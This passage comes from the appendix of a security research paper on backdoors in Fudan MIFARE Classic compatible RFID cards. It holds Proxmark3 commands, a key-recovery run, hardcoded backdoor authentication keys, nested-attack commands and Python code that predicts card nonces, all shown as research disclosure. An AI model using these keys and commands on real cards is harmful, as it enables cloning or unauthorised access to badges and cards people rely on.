    print(f"hf mf wrbl --blk {i+4} -d {keyA:012X}FF078069{keyB:012X}")
    keyA = random.randint(0, 1 << 48)
    keyB = random.randint(0, 1 << 48)
    print(f"hf mf wrbl --blk {i+8} -d {keyA:012X}FF078069{keyB:012X}")
    keyA = random.randint(0, 1 << 48)
    # reuse keyB
    print(f"hf mf wrbl --blk {i+12} -d {keyA:012X}FF078069{keyB:012X}")

Listing 15: Generate Proxmark3 commands to configure a tag with 24 random keys, 8 being reused in 2 sectors each

In our test, it resulted in the following Proxmark3 commands, which we applied to a card.

hf mf wrbl --blk 3 -d 835D7593985BFF078069807182F971B5
hf mf wrbl --blk 7 -d 835D7593985BFF0780690E82A4D66BAF
hf mf wrbl --blk 11 -d B364DAAD7077FF0780692427B64CF9F9
hf mf wrbl --blk 15 -d 3A54F6524F9AFF0780692427B64CF9F9
hf mf wrbl --blk 19 -d 4F6CF1780BA4FF0780697250A67EA665
hf mf wrbl --blk 23 -d 4F6CF1780BA4FF07806961887FD879EA
hf mf wrbl --blk 27 -d 00CB63257D01FF07806984F8CC9D2DD8
hf mf wrbl --blk 31 -d D3A8028E3FC8FF07806984F8CC9D2DD8
hf mf wrbl --blk 35 -d 8F5F40BC1483FF078069D812ADA2A2E1
hf mf wrbl --blk 39 -d 8F5F40BC1483FF0780699C488977E45A
hf mf wrbl --blk 43 -d 43DF6F69641CFF07806911E9F0E2A614
hf mf wrbl --blk 47 -d 5CA4DB30F379FF07806911E9F0E2A614
hf mf wrbl --blk 51 -d 8DC829576957FF0780697B12EEC0322D
hf mf wrbl --blk 55 -d 8DC829576957FF078069393B612F84F0
hf mf wrbl --blk 59 -d 7739D70CC589FF078069307026A71835
hf mf wrbl --blk 63 -d 5D83D7C4336EFF078069307026A71835

Then, we applied our script chaining all the steps mentioned in the paper.

[usb] pm3 --> script run fm11rf08s_recovery.py -x -y
[+] executing python .../pyscripts/fm11rf08s_recovery.py
[+] args '-x -y'
UID: 5C467F63
Getting nonces...
Processing traces...
Running staticnested_1nt & 2x1nt when doable...
Looking for common keys across sectors...
Saving duplicates dicts...
Brute-forcing keys... Press any key to interrupt
Sector  0 keyA = 835d7593985b
...
Sector 15 keyB = 307026a71835
...
[+] Generating binary key file
[+] Found keys have been dumped to `hf-mf-5C467F63-key.bin`
--- 0 minutes 40 seconds ---

[+] finished fm11rf08s_recovery.py
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A.10 Support for Backdoor Authentication Commands in Proxmark3

A.10.1 Usage
We implemented the support of backdoor authentication commands in a number of existing Proxmark3 commands related to
MIFARE Classic, besides hf mf isen presented in Annex A.3.

They share the same additional option -c.

options:
...
    -a                             Input key specified is A key (default)
    -b                             Input key specified is B key
    -c <dec>                       input key type is key A + offset

Some examples:
• -a and -c 0 are synonym and produce the authentication command 60xx ;
• -b and -c 1 are synonym and produce the authentication command 61xx ;
• Backdoor keys can be used on relevant cards with -c 4 and -c 5, producing commands 64xx and 65xx as seen in Section VIII.

A.10.2 Example
One can always read block 0 of a FM11RF08S with the following command.

[usb] pm3 --> mhf mf rdbl --blk 0 -c 4 --key A396EFA4E24F

[=]   # | sector 00 / 0x00                                | ascii
[=] ----+-------------------------------------------------+-----------------
[=]   0 | 5C 46 7F 63 06 08 04 00 04 02 34 A2 13 65 CA 90 | \F.c......4..e..

A.10.3 Breaking an Older Backdoor Key
Assuming you know block 0 keyA, the attack against a FM11RF08 is straightforward and immediate with these new options.

[usb] pm3 --> hf mf nested --blk 0 -a -k FFFFFFFFFFFF --tblk 0 --tc 4
[+] Found 1 key candidates

[+] Target block    0 key type 64 -- found valid key [ A31667A8CEC1 ]

A.10.4 Another Example
One can read block 0 of old cards sharing the same backdoor key we found above, with the following command.

[usb] pm3 --> hf mf rdbl --blk 0 -c 4 --key A31667A8CEC1

[=]   # | sector 00 / 0x00                                | ascii
[=] ----+-------------------------------------------------+-----------------
[=]   0 | 42 0A 53 32 29 88 04 00 44 EE 37 09 30 36 3A 30 | B.S2)...D.7.06:0

A.10.5 Darknested attack
On these cards, one can use the old backdoor key for a nested attack, rather than having to use the darkside attack first.

[usb] pm3 --> hf mf nested -c 4 -k A31667A8CEC1 --tblk 0 --ta
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A.11 Influence of the configured key to 𝑛𝑇
To investigate the impact of the configured key on 𝑛𝑇 , we first test all keys with a single bit and compare the internal 16-bit
LFSR state corresponding to the (first half of the) corresponding nonce with the state for key = 0. The column “prev” indicates
how much we roll back the LFSR states before comparing them. At first, we don’t roll them back (prev00), cf Listing 16. We
observe a triangular pattern of fewer differences (marked with *) for the first keys with bits set on the last part of the key.

key          key bits                                         nt       rollbk state bits       | diff with key=0   |
000000000000 000000000000000000000000000000000000000000000000 60C11F37 prev00 0110000011000001 |    .    .    .    |
000000000001 000000000000000000000000000000000000000000000001 60EC9755 prev00 0110000011101100 |    .    .  ^ .^^ ^|*
000000000002 000000000000000000000000000000000000000000000010 C0E9C6B9 prev00 1100000011101001 |^ ^ .    .  ^ .^   |*
000000000004 000000000000000000000000000000000000000000000100 A0DCF95E prev00 1010000011011100 |^^  .    .   ^.^^ ^|*
000000000008 000000000000000000000000000000000000000000001000 E0FAD3E4 prev00 1110000011111010 |^   .    .  ^^.^ ^^|*
000000000010 000000000000000000000000000000000000000000010000 6323CCCE prev00 0110001100100011 |    .  ^^.^^^ .  ^ |*
000000000020 000000000000000000000000000000000000000000100000 609B0FF2 prev00 0110000010011011 |    .    . ^ ^.^ ^ |*
000000000040 000000000000000000000000000000000000000001000000 61A95E23 prev00 0110000110101001 |    .   ^. ^^ .^   |*
000000000080 000000000000000000000000000000000000000010000000 61F34EE6 prev00 0110000111110011 |    .   ^.  ^^.  ^ |*
000000000100 000000000000000000000000000000000000000100000000 5E5C2042 prev00 0101111001011100 |  ^^.^^^ .^  ^.^^ ^|*
000000000200 000000000000000000000000000000000000001000000000 6590F39A prev00 0110010110010000 |    . ^ ^. ^ ^.   ^|*
000000000400 000000000000000000000000000000000000010000000000 7685AE80 prev00 0111011010000101 |   ^. ^^ . ^  . ^  |*
000000000800 000000000000000000000000000000000000100000000000 73D4422D prev00 0111001111010100 |   ^.  ^^.   ^. ^ ^|*
000000001000 000000000000000000000000000000000001000000000000 B04337C1 prev00 1011000001000011 |^^ ^.    .^   .  ^ |
000000002000 000000000000000000000000000000000010000000000000 EA53F21F prev00 1110101001010011 |^   .^ ^ .^  ^.  ^ |
000000004000 000000000000000000000000000000000100000000000000 BCA081F1 prev00 1011110010100000 |^^ ^.^^  . ^^ .   ^|
000000008000 000000000000000000000000000000001000000000000000 D80223BA prev00 1101100000000010 |^ ^^.^   .^^  .  ^^|
000000010000 000000000000000000000000000000010000000000000000 E8A3701A prev00 1110100010100011 |^   .^   . ^^ .  ^ |
000000020000 000000000000000000000000000000100000000000000000 B94FDD5F prev00 1011100101001111 |^^ ^.^  ^.^   .^^^ |
000000040000 000000000000000000000000000001000000000000000000 86A8F3AA prev00 1000011010101000 |^^^ . ^^ . ^^ .^  ^|
000000080000 000000000000000000000000000010000000000000000000 AC12C70C prev00 1010110000010010 |^^  .^^  .^^ ^.  ^^|
000000100000 000000000000000000000000000100000000000000000000 B3384CD0 prev00 1011001100111000 |^^ ^.  ^^.^^^^.^  ^|
000000200000 000000000000000000000000001000000000000000000000 7004C16D prev00 0111000000000100 |   ^.    .^^  . ^ ^|
000000400000 000000000000000000000000010000000000000000000000 21D5645C prev00 0010000111010101 | ^  .   ^.   ^. ^  |
000000800000 000000000000000000000000100000000000000000000000 3110BA06 prev00 0011000100010000 | ^ ^.   ^.^^ ^.   ^|
000001000000 000000000000000000000001000000000000000000000000 5FB461E2 prev00 0101111110110100 |  ^^.^^^^. ^^^. ^ ^|
000002000000 000000000000000000000010000000000000000000000000 8C6C5A69 prev00 1000110001101100 |^^^ .^^  .^ ^ .^^ ^|
000004000000 000000000000000000000100000000000000000000000000 D176094E prev00 1101000101110110 |^ ^^.   ^.^ ^^. ^^^|
000008000000 000000000000000000001000000000000000000000000000 3DDB4C10 prev00 0011110111011011 | ^ ^.^^ ^.   ^.^ ^ |
000010000000 000000000000000000010000000000000000000000000000 4837C915 prev00 0100100000110111 |  ^ .^   .^^^^. ^^ |
000020000000 000000000000000000100000000000000000000000000000 8DE993F1 prev00 1000110111101001 |^^^ .^^ ^.  ^ .^   |
000040000000 000000000000000001000000000000000000000000000000 FE07C16E prev00 1111111000000111 |^  ^.^^^ .^^  . ^^ |
000080000000 000000000000000010000000000000000000000000000000 5C4CA284 prev00 0101110001001100 |  ^^.^^  .^   .^^ ^|
000100000000 000000000000000100000000000000000000000000000000 0FECED45 prev00 0000111111101100 | ^^ .^^^^.  ^ .^^ ^|
000200000000 000000000000001000000000000000000000000000000000 A2A9B3AB prev00 1010001010101001 |^^  .  ^ . ^^ .^   |
000400000000 000000000000010000000000000000000000000000000000 8C5CDA52 prev00 1000110001011100 |^^^ .^^  .^  ^.^^ ^|
000800000000 000000000000100000000000000000000000000000000000 B8FA94FC prev00 1011100011111010 |^^ ^.^   .  ^^.^ ^^|
001000000000 000000000001000000000000000000000000000000000000 3326486A prev00 0011001100100110 | ^ ^.  ^^.^^^ . ^^^|
002000000000 000000000010000000000000000000000000000000000000 BE9BFBD2 prev00 1011111010011011 |^^ ^.^^^ . ^ ^.^ ^ |
004000000000 000000000100000000000000000000000000000000000000 1BAA8EA0 prev00 0001101110101010 | ^^^.^ ^^. ^^ .^ ^^|
008000000000 000000001000000000000000000000000000000000000000 C5F06A45 prev00 1100010111110000 |^ ^ . ^ ^.  ^^.   ^|
010000000000 000000010000000000000000000000000000000000000000 1E143A03 prev00 0001111000010100 | ^^^.^^^ .^^ ^. ^ ^|
020000000000 000000100000000000000000000000000000000000000000 259FF147 prev00 0010010110011111 | ^  . ^ ^. ^ ^.^^^ |
040000000000 000001000000000000000000000000000000000000000000 76B8A6F4 prev00 0111011010111000 |   ^. ^^ . ^^^.^  ^|
080000000000 000010000000000000000000000000000000000000000000 33E64884 prev00 0011001111100110 | ^ ^.  ^^.  ^ . ^^^|
100000000000 000100000000000000000000000000000000000000000000 B6E33040 prev00 1011011011100011 |^^ ^. ^^ .  ^ .  ^ |
200000000000 001000000000000000000000000000000000000000000000 EC07D54E prev00 1110110000000111 |^   .^^  .^^  . ^^ |
400000000000 010000000000000000000000000000000000000000000000 BE984311 prev00 1011111010011000 |^^ ^.^^^ . ^ ^.^  ^|
800000000000 100000000000000000000000000000000000000000000000 DD72A77B prev00 1101110101110010 |^ ^^.^^ ^.^ ^^.  ^^|

Listing 16: Differences in LFSR state
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Now if we rollback the LFSR state 32 times, the pattern of fewer differences in Listing 17 appears 32 lines lower, i.e. for the key
bits << 32.

key          key bits                                         nt       rollbk state bits       | diff with key=0   |
000000000000 000000000000000000000000000000000000000000000000 60C11F37 prev32 1101111100100110 |    .    .    .    |
000000000001 000000000000000000000000000000000000000000000001 60EC9755 prev32 1001110100001001 | ^  .  ^ .  ^ .^^^^|
000000000002 000000000000000000000000000000000000000000000010 C0E9C6B9 prev32 0111010100001100 |^ ^ .^ ^ .  ^ .^ ^ |
000000000004 000000000000000000000000000000000000000000000100 A0DCF95E prev32 1010111000111010 | ^^^.   ^.   ^.^^  |
000000000008 000000000000000000000000000000000000000000001000 E0FAD3E4 prev32 0011110000011110 |^^^ .  ^^.  ^^.^   |
000000000010 000000000000000000000000000000000000000000010000 6323CCCE prev32 0110000111110110 |^ ^^.^^^ .^^ ^.    |
000000000020 000000000000000000000000000000000000000000100000 609B0FF2 prev32 0101101001111000 |^   . ^ ^. ^ ^.^^^ |
000000000040 000000000000000000000000000000000000000001000000 61A95E23 prev32 1100100101011100 |   ^. ^^ . ^^^.^ ^ |
000000000080 000000000000000000000000000000000000000010000000 61F34EE6 prev32 0100110000000010 |^  ^.  ^^.  ^ . ^  |
000000000100 000000000000000000000000000000000000000100000000 5E5C2042 prev32 1110001000100110 |  ^^.^^ ^.    .    |
000000000200 000000000000000000000000000000000000001000000000 6590F39A prev32 1101101000100110 |    . ^ ^.    .    |
000000000400 000000000000000000000000000000000000010000000000 7685AE80 prev32 1100100000100110 |   ^. ^^^.    .    |
000000000800 000000000000000000000000000000000000100000000000 73D4422D prev32 1100110100100110 |   ^.  ^ .    .    |
000000001000 000000000000000000000000000000000001000000000000 B04337C1 prev32 0010101100100100 |^^^^. ^  .    .  ^ |
000000002000 000000000000000000000000000000000010000000000000 EA53F21F prev32 0111010100100100 |^ ^ .^ ^ .    .  ^ |
000000004000 000000000000000000000000000000000100000000000000 BCA081F1 prev32 0001100000100111 |^^  . ^^^.    .   ^|
000000008000 000000000000000000000000000000001000000000000000 D80223BA prev32 0101000100100101 |^   .^^^ .    .  ^^|
000000010000 000000000000000000000000000000010000000000000000 E8A3701A prev32 1101111100000110 |    .    .  ^ .    |
000000020000 000000000000000000000000000000100000000000000000 B94FDD5F prev32 1101111100000010 |    .    .  ^ . ^  |
000000040000 000000000000000000000000000001000000000000000000 86A8F3AA prev32 1101111100111110 |    .    .   ^.^   |
000000080000 000000000000000000000000000010000000000000000000 AC12C70C prev32 1101111100010110 |    .    .  ^^.    |
000000100000 000000000000000000000000000100000000000000000000 B3384CD0 prev32 1101110001100110 |    .  ^^. ^  .    |
000000200000 000000000000000000000000001000000000000000000000 7004C16D prev32 1101111101100110 |    .    . ^  .    |
000000400000 000000000000000000000000010000000000000000000000 21D5645C prev32 1101111000100110 |    .   ^.    .    |
000000800000 000000000000000000000000100000000000000000000000 3110BA06 prev32 1101111001100110 |    .   ^. ^  .    |
000001000000 000000000000000000000001000000000000000000000000 5FB461E2 prev32 1110101100000110 |  ^^. ^  .  ^ .    |
000002000000 000000000000000000000010000000000000000000000000 8C6C5A69 prev32 1101101110000110 |    . ^  .^ ^ .    |
000004000000 000000000000000000000100000000000000000000000000 D176094E prev32 1100111110100110 |   ^.    .^   .    |
000008000000 000000000000000000001000000000000000000000000000 3DDB4C10 prev32 1100101100000110 |   ^. ^  .  ^ .    |
000010000000 000000000000000000010000000000000000000000000000 4837C915 prev32 1101111100100100 |    .    .    .  ^ |
000020000000 000000000000000000100000000000000000000000000000 8DE993F1 prev32 1001111100100100 | ^  .    .    .  ^ |
000040000000 000000000000000001000000000000000000000000000000 FE07C16E prev32 0101111100100111 |^   .    .    .   ^|
000080000000 000000000000000010000000000000000000000000000000 5C4CA284 prev32 1101111100100101 |    .    .    .  ^^|
000100000000 000000000000000100000000000000000000000000000000 0FECED45 prev32 1101111100001011 |    .    .  ^ .^^ ^|*
000200000000 000000000000001000000000000000000000000000000000 A2A9B3AB prev32 0111111100001110 |^ ^ .    .  ^ .^   |*
000400000000 000000000000010000000000000000000000000000000000 8C5CDA52 prev32 0001111100111011 |^^  .    .   ^.^^ ^|*
000800000000 000000000000100000000000000000000000000000000000 B8FA94FC prev32 0101111100011101 |^   .    .  ^^.^ ^^|*
001000000000 000000000001000000000000000000000000000000000000 3326486A prev32 1101110011000100 |    .  ^^.^^^ .  ^ |*
002000000000 000000000010000000000000000000000000000000000000 BE9BFBD2 prev32 1101111101111100 |    .    . ^ ^.^ ^ |*
004000000000 000000000100000000000000000000000000000000000000 1BAA8EA0 prev32 1101111001001110 |    .   ^. ^^ .^   |*
008000000000 000000001000000000000000000000000000000000000000 C5F06A45 prev32 1101111000010100 |    .   ^.  ^^.  ^ |*
010000000000 000000010000000000000000000000000000000000000000 1E143A03 prev32 1110000110111011 |  ^^.^^^ .^  ^.^^ ^|*
020000000000 000000100000000000000000000000000000000000000000 259FF147 prev32 1101101001110111 |    . ^ ^. ^ ^.   ^|*
040000000000 000001000000000000000000000000000000000000000000 76B8A6F4 prev32 1100100101100010 |   ^. ^^ . ^  . ^  |*
080000000000 000010000000000000000000000000000000000000000000 33E64884 prev32 1100110000110011 |   ^.  ^^.   ^. ^ ^|*
100000000000 000100000000000000000000000000000000000000000000 B6E33040 prev32 0000111110100100 |^^ ^.    .^   .  ^ |
200000000000 001000000000000000000000000000000000000000000000 EC07D54E prev32 0101010110110100 |^   .^ ^ .^  ^.  ^ |
400000000000 010000000000000000000000000000000000000000000000 BE984311 prev32 0000001101000111 |^^ ^.^^  . ^^ .   ^|
800000000000 100000000000000000000000000000000000000000000000 DD72A77B prev32 0110011111100101 |^ ^^.^   .^^  .  ^^|

Listing 17: Differences in LFSR previous states when rolled back 32 times
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After some grouping, we managed to tune the rollback per key nibble that reduces all state diffs to a single nibble of the state,
as shown in Listing 18. The differences can be grouped into two alternating types of pattern, marked A* and B*.

key          key bits                                         nt       rollbk state bits       | diff with key=0   |
000000000001 000000000000000000000000000000000000000000000001 60EC9755 prev14 1010000100110000 |    .    .    .^   |A1
000000000002 000000000000000000000000000000000000000000000010 C0E9C6B9 prev14 1010000100110001 |    .    .    .^  ^|A2
000000000004 000000000000000000000000000000000000000000000100 A0DCF95E prev14 1010000100111110 |    .    .    . ^^ |A4
000000000008 000000000000000000000000000000000000000000001000 E0FAD3E4 prev14 1010000100110100 |    .    .    .^^  |A8
000000000010 000000000000000000000000000000000000000000010000 6323CCCE prev10 1000101010001110 |    .    .    .^^ ^|B1
000000000020 000000000000000000000000000000000000000000100000 609B0FF2 prev10 1000101010000010 |    .    .    .   ^|B2
000000000040 000000000000000000000000000000000000000001000000 61A95E23 prev10 1000101010000111 |    .    .    . ^  |B4
000000000080 000000000000000000000000000000000000000010000000 61F34EE6 prev10 1000101010000110 |    .    .    . ^ ^|B8
000000000100 000000000000000000000000000000000000000100000000 5E5C2042 prev22 0100100110101100 |    .    .    .^^ ^|B1
000000000200 000000000000000000000000000000000000001000000000 6590F39A prev22 0100100110100000 |    .    .    .   ^|B2
000000000400 000000000000000000000000000000000000010000000000 7685AE80 prev22 0100100110100101 |    .    .    . ^  |B4
000000000800 000000000000000000000000000000000000100000000000 73D4422D prev22 0100100110100100 |    .    .    . ^ ^|B8
000000001000 000000000000000000000000000000000001000000000000 B04337C1 prev18 0001010010000010 |    .    .    .^   |A1
000000002000 000000000000000000000000000000000010000000000000 EA53F21F prev18 0001010010000011 |    .    .    .^  ^|A2
000000004000 000000000000000000000000000000000100000000000000 BCA081F1 prev18 0001010010001100 |    .    .    . ^^ |A4
000000008000 000000000000000000000000000000001000000000000000 D80223BA prev18 0001010010000110 |    .    .    .^^  |A8
--
000000010000 000000000000000000000000000000010000000000000000 E8A3701A prev30 1011011101000001 |    .    .    .^   |A1
000000020000 000000000000000000000000000000100000000000000000 B94FDD5F prev30 1011011101000000 |    .    .    .^  ^|A2
000000040000 000000000000000000000000000001000000000000000000 86A8F3AA prev30 1011011101001111 |    .    .    . ^^ |A4
000000080000 000000000000000000000000000010000000000000000000 AC12C70C prev30 1011011101000101 |    .    .    .^^  |A8
000000100000 000000000000000000000000000100000000000000000000 B3384CD0 prev26 1001101100011001 |    .    .    .^^ ^|B1
000000200000 000000000000000000000000001000000000000000000000 7004C16D prev26 1001101100010101 |    .    .    .   ^|B2
000000400000 000000000000000000000000010000000000000000000000 21D5645C prev26 1001101100010000 |    .    .    . ^  |B4
000000800000 000000000000000000000000100000000000000000000000 3110BA06 prev26 1001101100010001 |    .    .    . ^ ^|B8
000001000000 000000000000000000000001000000000000000000000000 5FB461E2 prev38 1111010110111010 |    .    .    .^^ ^|B1
000002000000 000000000000000000000010000000000000000000000000 8C6C5A69 prev38 1111010110110110 |    .    .    .   ^|B2
000004000000 000000000000000000000100000000000000000000000000 D176094E prev38 1111010110110011 |    .    .    . ^  |B4
000008000000 000000000000000000001000000000000000000000000000 3DDB4C10 prev38 1111010110110010 |    .    .    . ^ ^|B8
000010000000 000000000000000000010000000000000000000000000000 4837C915 prev34 0111111110010011 |    .    .    .^   |A1
000020000000 000000000000000000100000000000000000000000000000 8DE993F1 prev34 0111111110010010 |    .    .    .^  ^|A2
000040000000 000000000000000001000000000000000000000000000000 FE07C16E prev34 0111111110011101 |    .    .    . ^^ |A4
000080000000 000000000000000010000000000000000000000000000000 5C4CA284 prev34 0111111110010111 |    .    .    .^^  |A8
--
000100000000 000000000000000100000000000000000000000000000000 0FECED45 prev46 1101011011111101 |    .    .    .^   |A1
000200000000 000000000000001000000000000000000000000000000000 A2A9B3AB prev46 1101011011111100 |    .    .    .^  ^|A2
000400000000 000000000000010000000000000000000000000000000000 8C5CDA52 prev46 1101011011110011 |    .    .    . ^^ |A4
000800000000 000000000000100000000000000000000000000000000000 B8FA94FC prev46 1101011011111001 |    .    .    .^^  |A8
001000000000 000000000001000000000000000000000000000000000000 3326486A prev42 0101110101110010 |    .    .    .^^ ^|B1
002000000000 000000000010000000000000000000000000000000000000 BE9BFBD2 prev42 0101110101111110 |    .    .    .   ^|B2
004000000000 000000000100000000000000000000000000000000000000 1BAA8EA0 prev42 0101110101111011 |    .    .    . ^  |B4
008000000000 000000001000000000000000000000000000000000000000 C5F06A45 prev42 0101110101111010 |    .    .    . ^ ^|B8
010000000000 000000010000000000000000000000000000000000000000 1E143A03 prev54 0000010011011011 |    .    .    .^^ ^|B1
020000000000 000000100000000000000000000000000000000000000000 259FF147 prev54 0000010011010111 |    .    .    .   ^|B2
040000000000 000001000000000000000000000000000000000000000000 76B8A6F4 prev54 0000010011010010 |    .    .    . ^  |B4
080000000000 000010000000000000000000000000000000000000000000 33E64884 prev54 0000010011010011 |    .    .    . ^ ^|B8
100000000000 000100000000000000000000000000000000000000000000 B6E33040 prev50 0110000001010101 |    .    .    .^   |A1
200000000000 001000000000000000000000000000000000000000000000 EC07D54E prev50 0110000001010100 |    .    .    .^  ^|A2
400000000000 010000000000000000000000000000000000000000000000 BE984311 prev50 0110000001011011 |    .    .    . ^^ |A4
800000000000 100000000000000000000000000000000000000000000000 DD72A77B prev50 0110000001010001 |    .    .    .^^  |A8

Listing 18: Grouped differences in LFSR previous states when rolling back states progressively
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Actually, these patterns can be extended for all nibble values, cf Listing 19. Further tests modifying several nibbles of the key
at once do not create interferences. So nibbles can be treated in isolation and the combination of modifications will be correct.
Within a nibble, we did not find a decent way to express the differences, but they can be summarized in Listing 20 in some sort
of 4-bit sboxes.

key          key bits                                         nt       rollbk state bits       | diff with key=0   |
000000000001 000000000000000000000000000000000000000000000001 60EC9755 prev14 1010000100110000 |    .    .    .^   |A1
000000000002 000000000000000000000000000000000000000000000010 C0E9C6B9 prev14 1010000100110001 |    .    .    .^  ^|A2
000000000003 000000000000000000000000000000000000000000000011 E0D75B86 prev14 1010000100111100 |    .    .    . ^  |A3
000000000004 000000000000000000000000000000000000000000000100 A0DCF95E prev14 1010000100111110 |    .    .    . ^^ |A4
000000000005 000000000000000000000000000000000000000000000101 80E26461 prev14 1010000100110011 |    .    .    .^ ^^|A5
000000000006 000000000000000000000000000000000000000000000110 C0C44EDB prev14 1010000100111001 |    .    .    .   ^|A6
000000000007 000000000000000000000000000000000000000000000111 00F420D0 prev14 1010000100110111 |    .    .    .^^^^|A7
000000000008 000000000000000000000000000000000000000000001000 E0FAD3E4 prev14 1010000100110100 |    .    .    .^^  |A8
000000000009 000000000000000000000000000000000000000000001001 40D20A6A prev14 1010000100111101 |    .    .    . ^ ^|A9
00000000000A 000000000000000000000000000000000000000000001010 20CABDEF prev14 1010000100111010 |    .    .    .  ^ |A10
00000000000B 000000000000000000000000000000000000000000001011 40FF8208 prev14 1010000100110101 |    .    .    .^^ ^|A11
00000000000C 000000000000000000000000000000000000000000001100 20E7358D prev14 1010000100110010 |    .    .    .^ ^ |A12
00000000000D 000000000000000000000000000000000000000000001101 A0F1713C prev14 1010000100110110 |    .    .    .^^^ |A13
00000000000E 000000000000000000000000000000000000000000001110 80CFEC03 prev14 1010000100111011 |    .    .    .  ^^|A14
00000000000F 000000000000000000000000000000000000000000001111 00D9A8B2 prev14 1010000100111111 |    .    .    . ^^^|A15
-------------------------------------------------
000000000010 000000000000000000000000000000000000000000010000 6323CCCE prev10 1000101010001110 |    .    .    .^^ ^|B1
000000000020 000000000000000000000000000000000000000000100000 609B0FF2 prev10 1000101010000010 |    .    .    .   ^|B2
000000000030 000000000000000000000000000000000000000000110000 63CDFC81 prev10 1000101010001101 |    .    .    .^^^ |B3
000000000040 000000000000000000000000000000000000000001000000 61A95E23 prev10 1000101010000111 |    .    .    . ^  |B4
000000000050 000000000000000000000000000000000000000001010000 62A5BD95 prev10 1000101010001001 |    .    .    .^ ^ |B5
000000000060 000000000000000000000000000000000000000001100000 6397EC44 prev10 1000101010001100 |    .    .    .^^^^|B6
000000000070 000000000000000000000000000000000000000001110000 61476E6C prev10 1000101010000100 |    .    .    . ^^^|B7
000000000080 000000000000000000000000000000000000000010000000 61F34EE6 prev10 1000101010000110 |    .    .    . ^ ^|B8
000000000090 000000000000000000000000000000000000000010010000 602F2F78 prev10 1000101010000000 |    .    .    .  ^^|B9
0000000000A0 000000000000000000000000000000000000000010100000 62119D1F prev10 1000101010001011 |    .    .    .^   |B10
0000000000B0 000000000000000000000000000000000000000010110000 611D7EA9 prev10 1000101010000101 |    .    .    . ^^ |B11
0000000000C0 000000000000000000000000000000000000000011000000 624B8DDA prev10 1000101010001010 |    .    .    .^  ^|B12
0000000000D0 000000000000000000000000000000000000000011010000 60753FBD prev10 1000101010000001 |    .    .    .  ^ |B13
0000000000E0 000000000000000000000000000000000000000011100000 6379DC0B prev10 1000101010001111 |    .    .    .^^  |B14
0000000000F0 000000000000000000000000000000000000000011110000 62FFAD50 prev10 1000101010001000 |    .    .    .^ ^^|B15

Listing 19: Differences in LFSR previous states when enumerating two nibbles of the key

  a = [0, 8, 9, 4, 6, 11, 1, 15, 12, 5, 2, 13, 10, 14, 3, 7]
  b = [0, 13, 1, 14, 4, 10, 15, 7, 5, 3, 8, 6, 9, 2, 12, 11]

Listing 20: 4-bit sboxes as helpers to map the diff patterns
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The result is a way to predict a nonce for any key, provided a first nonce and the corresponding key.

def predict_nt(nt, key0, key1):
    a = [0, 8, 9, 4, 6, 11, 1, 15, 12, 5, 2, 13, 10, 14, 3, 7]
    b = [0, 13, 1, 14, 4, 10, 15, 7, 5, 3, 8, 6, 9, 2, 12, 11]
    nt16 = nt >> 16
    prev = 14
    # rollback the LFSR 14 times
    for _ in range(prev):
        nt16 = prev_state(nt16)
    odd = True # very odd indeed
    for i in range(0, 6*8, 8):
        if odd:
            nt16 ^= (a[(key0 >> i) & 0xF] ^ (a[(key1 >> i) & 0xF]))
            nt16 ^= (b[(key0 >> i >> 4) & 0xF] ^ (b[(key1 >> i >> 4) & 0xF])) << 4
        else:
            nt16 ^= (b[(key0 >> i) & 0xF] ^ (b[(key1 >> i) & 0xF]))
            nt16 ^= (a[(key0 >> i >> 4) & 0xF] ^ (a[(key1 >> i >> 4) & 0xF])) << 4
        odd ^= 1
        # rollback the LFSR 8 times
        prev += 8
        for _ in range(8):
            nt16 = prev_state(nt16)
    # fast forward the LFSR state back to the initial slot
    for _ in range(prev):
        nt16 = next_state(nt16)
    # extend nT to 32 bits
    nt16_2 = nt16
    for _ in range(16):
        nt16_2 = next_state(nt16_2)
    return (nt16 << 16) + nt16_2

Listing 21: Predicting 𝑛𝑇  of a key given another 𝑛𝑇  and its key

This function is validated on a few tests where we pick two random keys, then over a few random blocks, we set the first key,
read and decrypt the nonce, then predict the other key nonce, set the second key and check the actual nonce.

bk key1         nt1      key2          predicted actual
22 FF467310CA5E 5D17DB68 1EBED8BB9707: 6CA11170? 6CA11170!
57 FF467310CA5E 9E5E1EF0 1EBED8BB9707: AFE8D4E8? AFE8D4E8!
27 FF467310CA5E 442E6F79 1EBED8BB9707: 7598A561? 7598A561!
25 FF467310CA5E 442E6F79 1EBED8BB9707: 7598A561? 7598A561!
12 45E5DF1D29A2 9F348F66 DB1EA8E5588F: 9B68EAEC? 9B68EAEC!
61 45E5DF1D29A2 EC91256B DB1EA8E5588F: E8CD40E1? E8CD40E1!
36 45E5DF1D29A2 9162734D DB1EA8E5588F: 953E16C7? 953E16C7!
05 45E5DF1D29A2 DC55BEF8 DB1EA8E5588F: D809DB72? D809DB72!
31 1D90EAB2955A 9247B89C 122C1C40B1CD: EF6A5ECE? EF6A5ECE!
57 1D90EAB2955A D2707A71 122C1C40B1CD: AF5D9C23? AF5D9C23!
43 1D90EAB2955A A8BE2253 122C1C40B1CD: D593C401? D593C401!
60 1D90EAB2955A 0663BFAC 122C1C40B1CD: 7B4E59FE? 7B4E59FE!
45 A014881C0283 EBFE7BA1 CAA77E4E3F31: 31DB4220? 31DB4220!
13 A014881C0283 9EAC4EA7 CAA77E4E3F31: 44897726? 44897726!
07 A014881C0283 DDCD7F39 CAA77E4E3F31: 07E846B8? 07E846B8!
56 A014881C0283 391A2177 CAA77E4E3F31: E33F18F6? E33F18F6!

Listing 22: Testing the Python predict_nt() on random keys and blocks
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A.12 Metrics of Various MIFARE Classic Cards
Metrics:
• UID attribution: Pools of UID are shared among NXP and Infineon. Apparently, Fudan does not seem to care much… ;
• 𝐒𝐀𝐊: Value of SAK in anticollision. Typically 88 for Infineon cards, 08 for NXP and Fudan cards ;
• 𝐒𝐀𝐊𝐛𝟎: Value of SAK in block 0. Typically 88 for NXP and Infineon cards, 08 for Fudan cards ;
• 𝒂𝐒𝐅: Reply to 7-bit short-frame commands. Cards are not supposed to reply at all to other short-frame commands besides

REQA and WUPA10 ;
• 𝒂**𝟎𝟎 = 𝐍𝐀𝐊: Reply on unsupported commands **00 may differ. E.g. NXP and Infineon cards reply with a NACK to com-

mand “f000” while Fudan cards don’t reply ;
• 𝒂{𝒏𝑹|𝒂!𝑹}: On a wrong {𝑛𝑅|𝑎𝑅}, does the card reply with an encrypted NACK? Always? Only when parity is correct, i.e.

with a probability of 1
256? Never? ;

• 𝒂{𝒏𝑹|𝒂𝑹}𝒑!: On a correct {𝑛𝑅|𝑎𝑅}, but with a wrong parity, does the card go on with the authentication? It is not supposed
to, but Fudan cards seem to ignore parity errors11 ;

